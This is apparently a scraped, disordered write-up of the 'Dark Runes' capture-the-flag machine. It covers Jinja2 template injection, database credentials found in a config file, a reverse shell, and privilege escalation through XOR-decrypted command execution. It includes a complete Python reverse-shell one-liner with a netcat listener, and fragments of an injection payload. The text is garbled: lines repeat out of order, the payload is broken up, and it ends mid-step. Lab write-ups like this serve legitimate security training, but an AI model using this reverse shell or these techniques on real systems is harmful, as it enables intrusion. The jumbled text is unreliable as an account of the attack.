Land in /var/www/darkrunes . Find config.py with PostgreSQL creds: db_user: rune_walker , db_pass: s3cr3t_run3s . Access DB:
Machine Difficulty: Medium Category: Web, Cryptography, Binary Exploitation, Linux htb dark runes
Payload:
# Listener nc -lvnp 4444 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.XX",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);' Land in /var/www/darkrunes
attr('__getitem__')('__builtins__') a % endwith % uid=33(www-data) gid=33(www-data) groups=33(www-data) 🏴☠️ | Phase | Technique | |-------|------------| |
Root flag acquired. 🏴☠️ | Phase | Technique | |-------|------------| | Web | Base64 rune encoding, token reuse, SSTI (Jinja2) | | Shell | Python reverse shell, PostgreSQL access | | Priv Esc | Custom binary analysis, XOR encryption bypass, sudo abuse | 🧙 Final Rune Reading Dark Runes is a love letter to CTF players who enjoy creative encoding, sneaky template injection, and low-level binary trickery. It rewards patience and curiosity—traits of a true digital rune mage.
It reads a file, XOR-decrypts it with a hardcoded key, then executes the output as a shell command if it starts with RUNECMD: . Create a malicious rune file:
